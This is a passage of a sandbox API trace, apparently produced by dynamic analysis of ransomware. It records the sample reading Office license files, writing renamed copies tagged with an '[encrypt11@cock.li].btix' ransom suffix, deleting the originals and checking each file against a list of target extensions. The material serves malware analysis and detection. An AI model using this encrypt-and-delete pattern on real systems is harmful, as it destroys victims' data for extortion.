lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.345] WriteFile (in: hFile=0x568, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x124, lpOverlapped=0x0) returned 1 [0144.345] SetEndOfFile (hFile=0x568) returned 1 [0144.349] CloseHandle (hObject=0x568) returned 1 [0144.407] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.407] SetEndOfFile (hFile=0x530) returned 1 [0144.417] CloseHandle (hObject=0x530) returned 1 [0144.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 1 [0144.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0144.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0144.650] lstrlenW (lpString=".doc") returned 4 [0144.650] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.650] lstrlenW (lpString=".docx") returned 5 [0144.650] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.650] lstrlenW (lpString=".pdf") returned 4 [0144.650] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.650] lstrlenW (lpString=".xls") returned 4 [0144.650] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.650] lstrlenW (lpString=".xlsx") returned 5 [0144.650] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.650] lstrlenW (lpString=".ppt") returned 4 [0144.650] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0144.650] lstrlenW (lpString=".zip") returned 4 [0144.650] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.650] lstrlenW (lpString=".rar") returned 4 [0144.650] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.650] lstrlenW (lpString=".bz2") returned 4 [0144.650] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.650] lstrlenW (lpString=".7z") returned 3 [0144.650] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0144.650] lstrlenW (lpString=".dbf") returned 4 [0144.650] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0144.650] lstrlenW (lpString=".1cd") returned 4 [0144.650] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0144.650] lstrlenW (lpString=".jpg") returned 4 [0144.650] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.821] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=19982) returned 1 [0144.821] CloseHandle (hObject=0x54c) returned 1 [0144.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0145.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.306] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.306] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0145.307] GetLastError () returned 0x0 [0145.307] ReadFile (in: hFile=0x3d0, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x4e0e, lpOverlapped=0x0) returned 1 [0145.317] WriteFile (in: hFile=0x304, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x4e10, lpOverlapped=0x0) returned 1 [0145.318] ReadFile (in: hFile=0x3d0, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.318] WriteFile (in: hFile=0x304, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x124, lpOverlapped=0x0) returned 1 [0145.318] SetEndOfFile (hFile=0x304) returned 1 [0145.318] CloseHandle (hObject=0x304) returned 1 [0145.318] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.318] SetEndOfFile (hFile=0x3d0) returned 1 [0145.321] CloseHandle (hObject=0x3d0) returned 1 [0145.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 1 [0145.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0145.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0145.322] lstrlenW (lpString=".doc") returned 4 [0145.322] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.322] lstrlenW (lpString=".docx") returned 5 [0145.322] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.322] lstrlenW (lpString=".pdf") returned 4 [0145.322] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.322] lstrlenW (lpString=".xls") returned 4 [0145.322] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.322] lstrlenW (lpString=".xlsx") returned 5 [0145.322] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.322] lstrlenW (lpString=".ppt") returned 4 [0145.322] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0145.322] lstrlenW (lpString=".zip") returned 4 [0145.322] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.322] lstrlenW (lpString=".rar") returned 4 [0145.322] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.322] lstrlenW (lpString=".bz2") returned 4 [0145.322] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.322] lstrlenW (lpString=".7z") returned 3 [0145.322] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0145.322] lstrlenW (lpString=".dbf") returned 4 [0145.322] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0145.322] lstrlenW (lpString=".1cd") returned 4 [0145.322] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0145.322] lstrlenW (lpString=".jpg") returned 4 [0145.322] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.323] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=11617) returned 1 [0145.323] CloseHandle (hObject=0x3d0) returned 1 [0145.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0145.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.323] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.324] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0145.324] GetLastError () returned 0x0 [0145.324] ReadFile (in: hFile=0x3d0, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2d61, lpOverlapped=0x0) returned 1 [0145.335] WriteFile (in: hFile=0x304, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0145.336] ReadFile (in: hFile=0x3d0, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.336] WriteFile (in: hFile=0x304, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x11c, lpOverlapped=0x0) returned 1 [0145.336] SetEndOfFile (hFile=0x304) returned 1 [0145.336] CloseHandle (hObject=0x304) returned 1 [0145.336] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.336] SetEndOfFile (hFile=0x3d0) returned 1 [0145.339] CloseHandle (hObject=0x3d0) returned 1 [0145.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0145.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0145.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0145.340] lstrlenW (lpString=".doc") returned 4 [0145.340] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.340] lstrlenW (lpString=".docx") returned 5 [0145.340] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.340] lstrlenW (lpString=".pdf") returned 4 [0145.340] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.340] lstrlenW (lpString=".xls") returned 4 [0145.340] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.340] lstrlenW (lpString=".xlsx") returned 5 [0145.340] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.340] lstrlenW (lpString=".ppt") returned 4 [0145.340] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0145.340] lstrlenW (lpString=".zip") returned 4 [0145.340] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.340] lstrlenW (lpString=".rar") returned 4 [0145.340] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.340] lstrlenW (lpString=".bz2") returned 4 [0145.340] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.340] lstrlenW (lpString=".7z") returned 3 [0145.340] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0145.340] lstrlenW (lpString=".dbf") returned 4 [0145.340] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0145.340] lstrlenW (lpString=".1cd") returned 4 [0145.340] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0145.341] lstrlenW (lpString=".jpg") returned 4 [0145.341] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.341] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=19962) returned 1 [0145.341] CloseHandle (hObject=0x3d0) returned 1 [0145.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0145.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.342] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.342] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0145.342] GetLastError () returned 0x0 [0145.342] ReadFile (in: hFile=0x3d0, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x4dfa, lpOverlapped=0x0) returned 1 [0145.355] WriteFile (in: hFile=0x304, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0145.355] ReadFile (in: hFile=0x3d0, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.355] WriteFile (in: hFile=0x304, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x11c, lpOverlapped=0x0) returned 1 [0145.356] SetEndOfFile (hFile=0x304) returned 1 [0145.356] CloseHandle (hObject=0x304) returned 1 [0145.356] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.356] SetEndOfFile (hFile=0x3d0) returned 1 [0145.361] CloseHandle (hObject=0x3d0) returned 1 [0145.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0145.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0145.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0145.362] lstrlenW (lpString=".doc") returned 4 [0145.362] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.362] lstrlenW (lpString=".docx") returned 5 [0145.362] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.362] lstrlenW (lpString=".pdf") returned 4 [0145.362] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.362] lstrlenW (lpString=".xls") returned 4 [0145.362] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.362] lstrlenW (lpString=".xlsx") returned 5 [0145.362] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.362] lstrlenW (lpString=".ppt") returned 4 [0145.362] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0145.362] lstrlenW (lpString=".zip") returned 4 [0145.362] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.362] lstrlenW (lpString=".rar") returned 4 [0145.362] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.362] lstrlenW (lpString=".bz2") returned 4 [0145.362] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.362] lstrlenW (lpString=".7z") returned 3 [0145.362] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0145.362] lstrlenW (lpString=".dbf") returned 4 [0145.362] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0145.362] lstrlenW (lpString=".1cd") returned 4 [0145.362] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0145.362] lstrlenW (lpString=".jpg") returned 4 [0145.363] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.363] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10667) returned 1 [0145.363] CloseHandle (hObject=0x3d0) returned 1 [0145.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 0x220 [0145.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.364] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.364] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0145.364] GetLastError () returned 0x0 [0145.364] ReadFile (in: hFile=0x3d0, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x29ab, lpOverlapped=0x0) returned 1 [0145.370] WriteFile (in: hFile=0x304, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0145.371] ReadFile (in: hFile=0x3d0, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.371] WriteFile (in: hFile=0x304, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x116, lpOverlapped=0x0) returned 1 [0145.371] SetEndOfFile (hFile=0x304) returned 1 [0145.372] CloseHandle (hObject=0x304) returned 1 [0145.372] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.372] SetEndOfFile (hFile=0x3d0) returned 1 [0145.374] CloseHandle (hObject=0x3d0) returned 1 [0145.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 1 [0145.375] lstrlenW 